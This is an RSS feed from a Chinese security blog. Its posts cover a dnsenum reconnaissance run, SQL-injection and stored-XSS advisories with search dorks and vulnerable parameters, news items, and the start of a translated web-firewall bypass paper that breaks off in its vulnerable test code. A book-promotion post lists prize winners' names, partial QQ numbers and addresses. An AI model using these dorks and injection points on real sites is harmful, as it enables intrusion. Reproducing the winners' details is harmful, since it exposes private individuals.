<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[YesCK's Blog]]></title> 
<link>http://www.yesck.com/index.php</link> 
<description><![CDATA[关注网络安全、Web渗透、漏洞、0Day、linux、window。人若无名，方可专心练剑！]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[YesCK's Blog]]></copyright>
<item>
<link>http://www.yesck.com/post/498/</link>
<title><![CDATA[IE主页被篡改的修复方法之一]]></title> 
<author>YesCK &lt;gameck@126.com&gt;</author>
<category><![CDATA[笔记思考]]></category>
<pubDate>Wed, 11 Jan 2012 02:00:17 +0000</pubDate> 
<guid>http://www.yesck.com/post/498/</guid> 
<description>
<![CDATA[ 
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;自己的IE9被别的导航网站篡改了，我身为信息安全爱好者，当然是不能容忍的。<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;我的系统是Win7 64Bit，如别的系统差异也不大。<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cmd进入gpedit.msc下的用户配置-管理模板-Windows组件-interent explorer 在右面找到“禁止更改主页设置” 点已启用下面输入 你要的主页。点击确定即可。<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/><a href="http://www.yesck.com/attachment.php?fid=217" target="_blank"><img src="http://www.yesck.com/attachment.php?fid=217" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>Tags - <a href="http://www.yesck.com/tags/ie%25E4%25B8%25BB%25E9%25A1%25B5%25E8%25A2%25AB%25E7%25AA%259C%25E8%25AF%25A5/" rel="tag">ie主页被窜该</a> , <a href="http://www.yesck.com/tags/ie%25E4%25BF%25AE%25E5%25A4%258D/" rel="tag">ie修复</a>
]]>
</description>
</item><item>
<link>http://www.yesck.com/post/497/</link>
<title><![CDATA[dnsenum的使用]]></title> 
<author>YesCK &lt;gameck@126.com&gt;</author>
<category><![CDATA[资源资料]]></category>
<pubDate>Fri, 06 Jan 2012 20:02:07 +0000</pubDate> 
<guid>http://www.yesck.com/post/497/</guid> 
<description>
<![CDATA[ 
	关于 DNSEnum：<br/>DNSEnum 是一款非常强大的 域名信息收集脚本 它是由 参与backtrack 开发项目的程序员 所设计，这位名叫 Fillp (barbsie) Waeythens 的开发者是一个精通web渗透测试的安全人员，并对DNS信息收集有着非常丰富的经验。<br/><br/>在ubuntu 下由于缺少一些perl模块 会报错<br/><br/>使用前需要 安装一些perl 模块<br/>操作如下：<br/>sudo perl -MCPAN -e shell<br/>cpan[1]> install Net::IP<br/>cpan[1]> install Net::DNS<br/>cpan[1]> install Net::Netmask<br/>cpan[1]> install XML::Writer<br/><br/>DNSEnum 的基本使用<br/><br/>seclab@seclab:/opt/tools/dnsenum$ ./dnsenum.pl –enum r1ng.org<br/>dnsenum.pl VERSION:1.2.2<br/>Warning: can’t load Net::Whois::IP module, whois queries disabled.<br/>Warning: can’t load WWW::Mechanize module, Google scraping desabled.<br/>—–   r1ng.org   —–<br/>Host’s addresses:<br/>__________________<br/>r1ng.org                                 600      IN    A        114.66.2.236<br/>Name Servers:<br/>______________<br/>dns23.hichina.com                        551      IN    A        119.145.145.249<br/>dns23.hichina.com                        551      IN    A        218.30.103.243<br/>dns23.hichina.com                        551      IN    A        218.244.147.253<br/>dns23.hichina.com                        551      IN    A        222.73.40.39<br/>dns24.hichina.com                        8        IN    A        119.145.145.250<br/>dns24.hichina.com                        8        IN    A        218.30.103.246<br/>dns24.hichina.com                        8        IN    A        218.244.147.254<br/>dns24.hichina.com                        8        IN    A        222.73.40.40<br/><br/>Mail (MX) Servers:<br/>___________________<br/>mxbiz2.qq.com                            711      IN    CNAME              <br/>mx2.qq.com                               82       IN    A        112.90.141.252<br/>mx2.qq.com                               82       IN    A        112.90.142.53<br/>mx2.qq.com                               82       IN    A        112.90.142.54<br/>mx2.qq.com                               82       IN    A        112.90.142.55<br/>mx2.qq.com                               82       IN    A        112.90.142.56<br/>mx2.qq.com                               82       IN    A        112.90.142.115<br/>mx2.qq.com                               82       IN    A        112.90.142.116<br/>mx2.qq.com                               82       IN    A        112.95.240.190<br/>mx2.qq.com                               82       IN    A        112.95.240.191<br/>mx2.qq.com                               82       IN    A        112.95.240.192<br/>mx2.qq.com                               82       IN    A        112.95.240.193<br/>mx2.qq.com                               82       IN    A        112.95.241.32<br/>mx2.qq.com                               82       IN    A        112.95.241.33<br/>mx2.qq.com                               82       IN    A        112.90.139.247<br/>mx2.qq.com                               82       IN    A        112.90.140.86<br/>mx2.qq.com                               82       IN    A        112.90.141.240<br/>mxbiz1.qq.com                            13952    IN    CNAME              <br/>mx1.qq.com                               436      IN    A        112.95.240.190<br/>mx1.qq.com                               436      IN    A        112.95.240.191<br/>mx1.qq.com                               436      IN    A        112.95.240.192<br/>mx1.qq.com                               436      IN    A        112.95.240.193<br/>mx1.qq.com                               436      IN    A        112.95.241.32<br/>mx1.qq.com                               436      IN    A        112.95.241.33<br/>mx1.qq.com                               436      IN    A        112.90.139.247<br/>mx1.qq.com                               436      IN    A        112.90.140.86<br/>mx1.qq.com                               436      IN    A        112.90.141.240<br/>mx1.qq.com                               436      IN    A        112.90.141.252<br/>mx1.qq.com                               436      IN    A        112.90.142.53<br/>mx1.qq.com                               436      IN    A        112.90.142.54<br/>mx1.qq.com                               436      IN    A        112.90.142.55<br/>mx1.qq.com                               436      IN    A        112.90.142.56<br/>mx1.qq.com                               436      IN    A        112.90.142.115<br/>mx1.qq.com                               436      IN    A        112.90.142.116<br/><br/>Trying Zone Transfers and getting Bind Versions:<br/>________________________________________________<br/>Trying Zone Transfer for r1ng.org on dns23.hichina.com …<br/>AXFR record query failed: NOERROR<br/><br/>dns23.hichina.com Bind Version: I don’t know too.<br/><br/>Trying Zone Transfer for r1ng.org on dns24.hichina.com …<br/>AXFR record query failed: NOERROR<br/><br/>dns24.hichina.com Bind Version: I don’t know too.<br/><br/>brute force file not specified, bay.<br/><br/>参数解释:  –enum 后面跟进行DNS评估的目标域名<br/>全部主机A记录，MX 邮件服务器 都通过伪造区域传输的方式被获取<br/><br/>详情请参阅 README.txt<br/>Tags - <a href="http://www.yesck.com/tags/dnsdnum/" rel="tag">dnsdnum</a> , <a href="http://www.yesck.com/tags/dnsenum%25E4%25BD%25BF%25E7%2594%25A8/" rel="tag">dnsenum使用</a> , <a href="http://www.yesck.com/tags/dnsenum%25E7%2594%25A8%25E6%25B3%2595/" rel="tag">dnsenum用法</a>
]]>
</description>
</item><item>
<link>http://www.yesck.com/post/496/</link>
<title><![CDATA[GoDaddy因支持SOPA遭遇抵制]]></title> 
<author>YesCK &lt;gameck@126.com&gt;</author>
<category><![CDATA[默认分类]]></category>
<pubDate>Sat, 31 Dec 2011 03:26:48 +0000</pubDate> 
<guid>http://www.yesck.com/post/496/</guid> 
<description>
<![CDATA[ 
	　　在任天堂、索尼和EA重新考虑是否支持SOPA的是时候，很大的因素是因为Goaddy的事件，所引起的。下面是关于Godaddy的事件。<br/>&nbsp;&nbsp;&nbsp;&nbsp;数以千计的网站所有者，包括维基百科，已经呼吁网站所有者抵制GoDaddy，因为GoDaddy之前支持有争议的反盗版法律－SOPA（停止互联网盗版行动）。<br/>　　GoDaddy是世界上最大的托管服务商，它最初支持SOPA法案，但基于用户和其他公司的压力，GoDaddy后来开始改变支持态度。许多高知名度的互联网公司，包括谷歌，Facebook，雅虎和eBay，坚决反对该法案，理由是担心它会导致广泛的互联网审查。<br/>　　签名抵制GoDaddy的风潮还在继续，GoDaddy已在两天时间内失去37000多个域名和网站托管。现在，GoDaddy希望提供服务价格折扣，来降低域名和网站移出速度。<br/>　　那些从GoDaddy的撤出的网站包括维基百科，Lolcats，Cheezburger和图片托管服务商Imgur。<br/>　　GoDaddy首席执行官表示，打击网上盗版至关重要，这就是为什么GoDaddy一直致力于帮助修订这条法律 - 但我们清楚这项法律本可以修订的更好。<br/>　　GoDaddy先前失去了众多用户，因为其创始人和前首席执行官鲍勃帕森斯发表了他在津巴布韦度假时候杀死一头大象的视频。 <br/>Tags - <a href="http://www.yesck.com/tags/godaddy%25E4%25BA%258B%25E4%25BB%25B6/" rel="tag">godaddy事件</a> , <a href="http://www.yesck.com/tags/sopa/" rel="tag">sopa</a> , <a href="http://www.yesck.com/tags/godaddy/" rel="tag">godaddy</a>
]]>
</description>
</item><item>
<link>http://www.yesck.com/post/495/</link>
<title><![CDATA[DIY-CMS blog mod SQL Injection 漏洞]]></title> 
<author>YesCK &lt;gameck@126.com&gt;</author>
<category><![CDATA[漏洞0day]]></category>
<pubDate>Fri, 30 Dec 2011 02:10:40 +0000</pubDate> 
<guid>http://www.yesck.com/post/495/</guid> 
<description>
<![CDATA[ 
	SQL Injection:&nbsp;&nbsp;<br/>DORK:&nbsp;&nbsp;<br/>inurl:"mod.php?mod=blog" intext:"powered by DIY-CMS"&nbsp;&nbsp;<br/>inurl:"mod.php?mod=blog"&nbsp;&nbsp;<br/><br/> BUG:&nbsp;&nbsp;<br/>http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=tags&tag=features&start=[sqli]&nbsp;&nbsp;<br/>http://127.0.0.1/diy-cms/mod.php?mod=blog&start=[sqli]&nbsp;&nbsp;<br/>http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=archive&month=[sqli]&nbsp;&nbsp;<br/>http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=archive&month=8&year=[sqli]&nbsp;&nbsp;<br/>http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=list&catid=4&start=[sqli]&nbsp;&nbsp;<br/>http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=archive&month=8&year=2&start=[sqli]&nbsp;&nbsp;<br/>http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=viewpost&blogid=26&start=[sqli]&nbsp;&nbsp;<br/><br/> Why?:&nbsp;&nbsp;<br/>The variables $start, $year, $month are not filtered&nbsp;&nbsp;<br/>In file: /modules/blog/tags.php , list.php , index.php ,&nbsp;&nbsp;<br/>main_index.php , viewpost.php&nbsp;&nbsp;<br/><div class="code"> $start =(!isset($_GET&#91;&#039;start&#039;&#93;)) ? &#039;0&#039; : $_GET&#91;&#039;start&#039;&#93;;&nbsp;&nbsp;</div><br/>In file: /modules/blog/archive.php&nbsp;&nbsp;<br/><div class="code">$start =(!isset($_GET&#91;&#039;start&#039;&#93;)) ? &#039;0&#039; : $_GET&#91;&#039;start&#039;&#93;;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$month =(!isset($_GET&#91;&#039;month&#039;&#93;)) ?&nbsp;&nbsp;<br/>error_msg($lang&#91;&#039;ARCHIVE_NO_MONTH_SPECIFIED&#039;&#93;) : $_GET&#91;&#039;month&#039;&#93;;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$year =(!isset($_GET&#91;&#039;year&#039;&#93;)) ?&nbsp;&nbsp;<br/>error_msg($lang&#91;&#039;ARCHIVE_NO_YEAR_SPECIFIED&#039;&#93;) : $_GET&#91;&#039;year&#039;&#93;;&nbsp;&nbsp;</div><br/>&nbsp;&nbsp;In file: /modules/blog/control/approve_comments.php ,&nbsp;&nbsp;<br/>approve_posts.php , viewcat.php&nbsp;&nbsp;<br/><div class="code">&nbsp;&nbsp;&nbsp;&nbsp;$start =(!isset($_GET&#91;&#039;start&#039;&#93;)) ? &#039;0&#039; : $_GET&#91;&#039;start&#039;&#93;;&nbsp;&nbsp;</div><br/>Tags - <a href="http://www.yesck.com/tags/diy-cms%25E6%25B3%25A8%25E5%2585%25A5/" rel="tag">diy-cms注入</a> , <a href="http://www.yesck.com/tags/diycms%25E6%25BC%258F%25E6%25B4%259E/" rel="tag">diycms漏洞</a> , <a href="http://www.yesck.com/tags/powered/" rel="tag">powered</a> , <a href="http://www.yesck.com/tags/by/" rel="tag">by</a> , <a href="http://www.yesck.com/tags/diy-cms/" rel="tag">diy-cms</a>
]]>
</description>
</item><item>
<link>http://www.yesck.com/post/494/</link>
<title><![CDATA[Winn Guestbook v2.4.8c Stored XSS漏洞]]></title> 
<author>YesCK &lt;gameck@126.com&gt;</author>
<category><![CDATA[漏洞0day]]></category>
<pubDate>Fri, 30 Dec 2011 02:03:01 +0000</pubDate> 
<guid>http://www.yesck.com/post/494/</guid> 
<description>
<![CDATA[ 
	# Exploit Title: Winn Guestbook v2.4.8c Stored XSS&nbsp;&nbsp;<br/># Date: 12/29/11&nbsp;&nbsp;<br/># Author: G13&nbsp;&nbsp;<br/># Software Link: http://code.google.com/p/winn-guestbook/,&nbsp;&nbsp; <br/>http://www.winn.ws&nbsp;&nbsp;<br/># Version: 2.4.8c&nbsp;&nbsp;<br/># Category: webapps (php)&nbsp;&nbsp;<br/># CVE: 2011-5026&nbsp;&nbsp;<br/>##### Vulnerability #####&nbsp;&nbsp;<br/>There is no sanitation on the input of the name variable. This allows&nbsp;&nbsp; <br/>malicious scripts to be added. This is a stored XSS.&nbsp;&nbsp;<br/>##### Vendor Notification #####&nbsp;&nbsp;<br/>12/24/11 - Vendor Notified.&nbsp;&nbsp;<br/>12/27/11 - Vendor Acknowledged, Patch Issued.&nbsp;&nbsp;<br/>##### Resolution #####&nbsp;&nbsp;<br/>Upgrade to Version 2.4.8d&nbsp;&nbsp;<br/>##### Affected Variables #####&nbsp;&nbsp;<br/>name=[XSS]&nbsp;&nbsp;<br/>##### Exploit #####&nbsp;&nbsp;<br/>The script can be added right in the page, there is no filtering of&nbsp;&nbsp; <br/>input. This can easily be exploited if the email address used is added&nbsp;&nbsp; <br/>to the "approved posters" list. <br/><br/>Tags - <a href="http://www.yesck.com/tags/xss/" rel="tag">xss</a> , <a href="http://www.yesck.com/tags/xss%25E6%25BC%258F%25E6%25B4%259Eexploit%25E4%25B8%25AD%25E6%2596%2587/" rel="tag">xss漏洞exploit中文</a> , <a href="http://www.yesck.com/tags/winn/" rel="tag">winn</a> , <a href="http://www.yesck.com/tags/guestbook%25E6%25BC%258F%25E6%25B4%259E/" rel="tag">guestbook漏洞</a>
]]>
</description>
</item><item>
<link>http://www.yesck.com/post/493/</link>
<title><![CDATA[maebo 0.5.6不能中文 N900]]></title> 
<author>YesCK &lt;gameck@126.com&gt;</author>
<category><![CDATA[硬件数码]]></category>
<pubDate>Mon, 26 Dec 2011 09:47:57 +0000</pubDate> 
<guid>http://www.yesck.com/post/493/</guid> 
<description>
<![CDATA[ 
	安装maebo<br/>1.root<br/>2.apt-get update<br/>3.apt-get install maebo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp; <br/>关于不能输入中文的：<br/>1：先装google拼音，已装的跳过<br/>2：安装mscim-bridge-client-qt4<br/>3：重启就可以用了<br/>4：还是不行的看看mscim-bridge-agent和mscim-bridge-client-gtk装了没有，有就看下一步<br/>5：打开“控制面板”“MSCIM输入法配置”在“启用GooglePingyin”重新勾选（取消后再勾上），保存，重启<br/>Tags - <a href="http://www.yesck.com/tags/maebo/" rel="tag">maebo</a> , <a href="http://www.yesck.com/tags/n900n900%25E4%25B8%25AD%25E6%2596%2587/" rel="tag">n900n900中文</a>
]]>
</description>
</item><item>
<link>http://www.yesck.com/post/492/</link>
<title><![CDATA[《玩转QQ5》——2012，我们来了。3+1重连环大奖等你来拿]]></title> 
<author>YesCK &lt;gameck@126.com&gt;</author>
<category><![CDATA[会议活动]]></category>
<pubDate>Mon, 26 Dec 2011 07:49:43 +0000</pubDate> 
<guid>http://www.yesck.com/post/492/</guid> 
<description>
<![CDATA[ 
	《玩转QQ5》让这个寒假不太冷。600元超值大奖等你来拿。<br/><br/>龙年回执贺新禧，3+1项连环大奖欢乐颂。<br/><br/>特别Q粉大奖：奖励1年（QQ会员 红 黄 蓝 绿 超级QQ 短信QQ 一次尽享600元增值业务）<br/><br/>穿越火线VIP特权，DNF闪耀黑钻，非安全专属T恤，更有666名开钻平台资格等你来拿……<br/><br/>新游戏章节揭秘DNF地下城洗号内幕，穿越火线CF新奇玩法。黄钻非黄钻共同玩转免费QCC，DNF道具百分百囊中收入，空间炫技QQ酷玩全聚得……<br/><br/>你的寒假，我来买单。<br/><br/>玩转QQ5封面<br/><a href="http://www.yesck.com/attachment.php?fid=214" target="_blank"><img src="http://www.yesck.com/attachment.php?fid=214" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>玩转QQ5宣传海报<br/><a href="http://www.yesck.com/attachment.php?fid=216" target="_blank"><img src="http://www.yesck.com/attachment.php?fid=216" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>非安全淘宝店订购：<a href="http://item.taobao.com/item.htm?spm=1101_RPC.1-7s8cb.4-3sztgu&id=14969904953" target="_blank">http://item.taobao.com/item.htm?spm=1101_RPC.1-7s8cb.4-3sztgu&id=14969904953<br/></a><br/>非安全在线商城订购：<a href="http://book.nohack.me/goods-85.html" target="_blank">http://book.nohack.me/goods-85.html</a><br/><br/>《玩转QQ系列经典合辑》回执获奖名单<br/><br/>大奖一获奖名单<br/><br/>一等奖：1名，奖励16G U盘1枚。<br/>获奖者：<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;李宇波&nbsp;&nbsp;QQ：691794xxx&nbsp;&nbsp;&nbsp;&nbsp; 陕西省宝鸡市宝鸡中学13届<br/><br/>二等奖：2名，奖励8G U盘2枚。<br/>获奖者：<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1）罗步宽&nbsp;&nbsp;QQ：10561xxx&nbsp;&nbsp; 江苏省铜山县郑集中学城区校区<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2）刘&nbsp;&nbsp;晨&nbsp;&nbsp;QQ：1207953xxx&nbsp;&nbsp; 陕西省西安市长安区韦曲广场南路<br/>三等奖：3名，奖励4G U盘。<br/>获奖者：<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1）金&nbsp;&nbsp;鑫&nbsp;&nbsp;QQ：94615xxx&nbsp;&nbsp;南通市海安县李堡镇镇南中路<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2）李二焱&nbsp;&nbsp;QQ：275514xxx&nbsp;&nbsp;河北省石家庄市元氏县<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3）李京涛&nbsp;&nbsp;QQ：1873775xxx&nbsp;&nbsp;河北省河间市果子洼乡柳林村<br/><br/><br/>大奖二获奖名单<br/><br/>凡是前500名回执卡者，均获得了以下任选其一的三个奖项，1、开通开钻平台帐户权限；2、赠送靓号资源；3、添加其为好友／看私密日志／QQ秀免费合影等。<br/><br/>获奖者：王炳淇 杜锦博 解浩田 陈宇 扬子沛 刘晨 徐铭佳 李宇波 吴天昊 赵毅堃 罗步宽 徐誉 崔宇童 魏政 李京涛 李二焱 张文和 赵哲辰 金鑫……<br/><br/>（注意：大奖一和大奖二的获奖者有重复，因为《经典合辑》的回执规则就是一张回执就有机会赢取双重大奖。真是实惠多多，拿奖拿到手软啊。所以还在犹豫不决你，赶紧拿起笔或者敲打键盘吧，填写回执，赢取QQ5的N重龙年大奖） <br/><br/>更对关于 QQ黑客的信息请点击：<br/><a href="http://www.yesck.com/post/490/" target="_blank">曝光《QQ黑客5》封面&nbsp;&nbsp;玩转QQ黑客系列之五 本站首发</a><br/><a href="http://www.yesck.com/post/472/" target="_blank">《玩转QQ系列经典合辑》再度袭来，500名大奖等你来拿，至于你买不买，反正老子又买了</a><br/>Tags - <a href="http://www.yesck.com/tags/qq%25E9%25BB%2591%25E5%25AE%25A2/" rel="tag">qq黑客</a> , <a href="http://www.yesck.com/tags/%25E9%259D%259E%25E5%25AE%2589%25E5%2585%25A8/" rel="tag">非安全</a> , <a href="http://www.yesck.com/tags/%25E9%25BB%2591%25E6%2589%258B/" rel="tag">黑手</a> , <a href="http://www.yesck.com/tags/%25E9%25BB%2591%25E6%2589%258Bqq%25E9%25BB%2591%25E5%25AE%25A2/" rel="tag">黑手qq黑客</a> , <a href="http://www.yesck.com/tags/%25E7%258E%25A9%25E8%25BD%25ACqq%25E9%25BB%2591%25E5%25AE%25A2/" rel="tag">玩转qq黑客</a>
]]>
</description>
</item><item>
<link>http://www.yesck.com/post/491/</link>
<title><![CDATA[明年2月ipad3!?]]></title> 
<author>YesCK &lt;gameck@126.com&gt;</author>
<category><![CDATA[硬件数码]]></category>
<pubDate>Sun, 25 Dec 2011 02:24:55 +0000</pubDate> 
<guid>http://www.yesck.com/post/491/</guid> 
<description>
<![CDATA[ 
	&nbsp;&nbsp;&nbsp;&nbsp;传苹果将在明年2月乔布斯生日之际推iPad 3<br/><a href="http://www.yesck.com/attachment.php?fid=215" target="_blank"><img src="http://www.yesck.com/attachment.php?fid=215" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;iPad 3假想图<br/>&nbsp;&nbsp;&nbsp;&nbsp;北京时间12月25日消息，据国外媒体报道，最新的一些传闻称，苹果正准备在明年2月24日——史蒂夫·乔布斯(Steve Jobs)诞辰纪念日之际推出新一代平板电脑iPad 3。<br/>&nbsp;&nbsp;&nbsp;&nbsp;据称，这一传闻的消息源来自苹果在中国台湾地区的供应商，正是这些供应商向台湾当地的媒体透露了这一消息，才致使上述传闻得以散布开来。<br/>&nbsp;&nbsp;&nbsp;&nbsp;另外一点值得注意的是，明年2月24日将是星期五。通常苹果喜欢在星期五这一天推出新设备。<br/>&nbsp;&nbsp;&nbsp;&nbsp;当然，目前这一消息还只是传闻而已，尽管如此，这一消息还是与其它媒体报道的苹果计划在明年2月推出iPad 3之消息相吻合。如果这一消息属实，预计苹果将可能会在明年2月中旬正式公布的相关的消息。<br/>Tags - <a href="http://www.yesck.com/tags/ipad/" rel="tag">ipad</a> , <a href="http://www.yesck.com/tags/ipad3/" rel="tag">ipad3</a> , <a href="http://www.yesck.com/tags/%25E4%25B9%2594%25E5%25B8%2583%25E6%2596%25AF/" rel="tag">乔布斯</a> , <a href="http://www.yesck.com/tags/2%25E6%259C%258824/" rel="tag">2月24</a>
]]>
</description>
</item><item>
<link>http://www.yesck.com/post/490/</link>
<title><![CDATA[曝光《QQ黑客5》封面玩转QQ黑客系列之五 本站首发]]></title> 
<author>YesCK &lt;gameck@126.com&gt;</author>
<category><![CDATA[会议活动]]></category>
<pubDate>Fri, 23 Dec 2011 07:22:52 +0000</pubDate> 
<guid>http://www.yesck.com/post/490/</guid> 
<description>
<![CDATA[ 
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;刚刚获得消息，玩转QQ黑客系列之五——《QQ黑客5》目前已经出版，但是，非安全官方网站还没放出，我获得此信息后，马上放出给大家分享！让大家先读为快！<br/>&nbsp;&nbsp;&nbsp;&nbsp; 非安全自玩转QQ黑客系列推出一来，收到了广大黑客爱好者的好评，各地都掀起了购买《玩转QQ黑客系列》的高潮。无论是大牛还是小菜，几乎人人都有，很多小菜购买后如获至宝学到了很多的东西，一直是非安全玩转QQ黑客系列购买者的中流砥柱，很多人买了整套的《玩转QQ黑客系列》，很多人为此成为了非安全的忠实Fans.<br/>&nbsp;&nbsp;&nbsp;&nbsp; 由于技术的更新很快，很多小技巧或者方法容易失效，但是非安全的更新速度更是给力不断推出新的图书，提供了更多的技术、多好的方法、跟深入的探索，让很多小菜感受到了黑客技术的魅力，从而开始了更为认真和深入的学习，甚至还有一些想靠黑客技术赚钱的人，也改变了初衷，从网络犯罪前，悬崖勒马！他们由衷的感谢非安全，感谢《玩转QQ黑客系列》。<br/>&nbsp;&nbsp;&nbsp;&nbsp; 其实跟多的还是普通的用户，从QQ为引入点，了解了安全，了解技术，更好的使用QQ，而且还能更好的保护自己的隐私。就这次CSDN事件中，就有不少的《玩转QQ黑客系列》的读者避免了密码私人信息的泄漏。<br/>&nbsp;&nbsp;&nbsp;&nbsp;话不多说了：<br/><a href="http://www.yesck.com/attachment.php?fid=214" target="_blank"><img src="http://www.yesck.com/attachment.php?fid=214" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/>更对关于 QQ黑客的信息请点击：<br/><a href="http://www.yesck.com/post/472/" target="_blank">《玩转QQ系列经典合辑》再度袭来，500名大奖等你来拿，至于你买不买，反正老子又买了</a><br/>Tags - <a href="http://www.yesck.com/tags/qq%25E9%25BB%2591%25E5%25AE%25A2/" rel="tag">qq黑客</a> , <a href="http://www.yesck.com/tags/%25E7%258E%25A9%25E8%25BD%25ACqq%25E9%25BB%2591%25E5%25AE%25A25/" rel="tag">玩转qq黑客5</a> , <a href="http://www.yesck.com/tags/%25E7%258E%25A9%25E8%25BD%25ACqq%25E9%25BB%2591%25E5%25AE%25A2/" rel="tag">玩转qq黑客</a> , <a href="http://www.yesck.com/tags/%25E9%259D%259E%25E5%25AE%2589%25E5%2585%25A8/" rel="tag">非安全</a>
]]>
</description>
</item><item>
<link>http://www.yesck.com/post/488/</link>
<title><![CDATA[False SQL Injection and Advanced Blind SQL Injection[部分翻译]]]></title> 
<author>YesCK &lt;gameck@126.com&gt;</author>
<category><![CDATA[资源资料]]></category>
<pubDate>Fri, 23 Dec 2011 03:30:52 +0000</pubDate> 
<guid>http://www.yesck.com/post/488/</guid> 
<description>
<![CDATA[ 
	#####################################################################<br/># Exploit Title: False SQL injection and advanced blind SQL injection&nbsp;&nbsp;#<br/># Date: 21/12/2011&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br/># Author: wh1ant&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br/># Company: trinitysoft&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br/># Group: secuholic&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br/>#####################################################################<br/>This document is written for publicizing of new SQL injection method about detour some web firewall or some security solution. I <br/>写这个文档是为了宣传先进的sql注入方法关于如何绕过Web防火墙（WAF）或者一些整体的安全解决方案。<br/>did test on a web firewall made in Korean, most SQL injection attack was hit, I will not reveal the maker for cutting its damage.<br/>我在一台韩国生产的web防火墙中测试多种Sql注入工具方式。我不会告诉其厂商减少他的损失。<br/>In order to read this document, you have to understand basic MySQL principles. I classified the term "SQL Injection" as 2 meanings.<br/>在读完之后整理这个文档，你必须了解基本的Mysql的一些知识。 我对“Sql 注入”分为两个含义， <br/>The first is a general SQL Injection, we usually call this "True SQL Injection", and the second is a "False SQL Injection". Though in<br/>这首先是笼统的sql注入，我们通常称之为“真SQL注入”，和第二种“假Sql注入”（其实没明白作者的意思，已字面意思来解释。）<br/> this documentation, you can know something special about "True SQL Injection"<br/>虽然在这个文档中，你能了解到一些特别的关于“真SQL注入”。<br/>And I mean to say it's true that my method (False SQL Injection) is different from True/False SQL Injection mentioned in "Blind<br/>我的意思是说这是真的，我的方法（假注射）是从不同的真/假注射中提到盲注<br/> SQL Injection". <br/>A tested environment was as follow.<br/>我的测试环境如下：<br/>ubuntu server&nbsp;&nbsp;11.04<br/>mysql&nbsp;&nbsp;&nbsp;&nbsp;5.1.54-1<br/>Apache&nbsp;&nbsp;&nbsp;&nbsp;2.2.17<br/>PHP&nbsp;&nbsp;&nbsp;&nbsp;5.3.5-1<br/><br/>A tested code was as follow.<br/>我的测试代码如下：<div class="code"><br/>&lt;?php<br/><br/>/*<br/>create database injection_db;<br/>use injection_db;<br/>create table users(num int not null, id varchar(30) not null, password varchar(30) not null, primary key(num));<br/><br/>insert into users values(1, &#039;admin&#039;, &#039;ad1234&#039;);<br/>insert into users values(2, &#039;wh1ant&#039;, &#039;wh1234&#039;);<br/>insert into users values(3, &#039;secuholic&#039;, &#039;se1234&#039;);<br/><br/>*** login.php ***<br/>*/<br/><br/>if(empty($_GET&#91;&#039;id&#039;&#93;) &amp;#124;&amp;#124; empty($_GET&#91;&#039;password&#039;&#93;))&#123;<br/>&nbsp;&nbsp;echo &quot;&lt;html&gt;&quot;;<br/>&nbsp;&nbsp;echo &quot;&lt;body&nbsp;&nbsp; &gt;&quot;;<br/>&nbsp;&nbsp;echo &quot;&lt;form name=&#039;text&#039; action=&#039;login.php&#039; method=&#039;get&#039;&gt;&quot;;<br/>&nbsp;&nbsp;echo &quot;&lt;h4&gt;ID&nbsp;&nbsp;&nbsp;&nbsp; &lt;input type=&#039;text&#039; name=&#039;id&#039;&gt;&lt;br&gt;&quot;;<br/>&nbsp;&nbsp;echo &quot;PASS&lt;input type=&#039;password&#039; name=&#039;password&#039;&gt;&lt;br&gt;&lt;/h4&gt;&quot;;<br/>&nbsp;&nbsp;echo &quot;&lt;input type=&#039;submit&#039; value=&#039;Login&#039;&gt;&quot;;<br/>&nbsp;&nbsp;echo &quot;&lt;/form&gt;&quot;;<br/>&nbsp;&nbsp;echo &quot;&lt;/body&gt;&quot;;<br/>&nbsp;&nbsp;echo 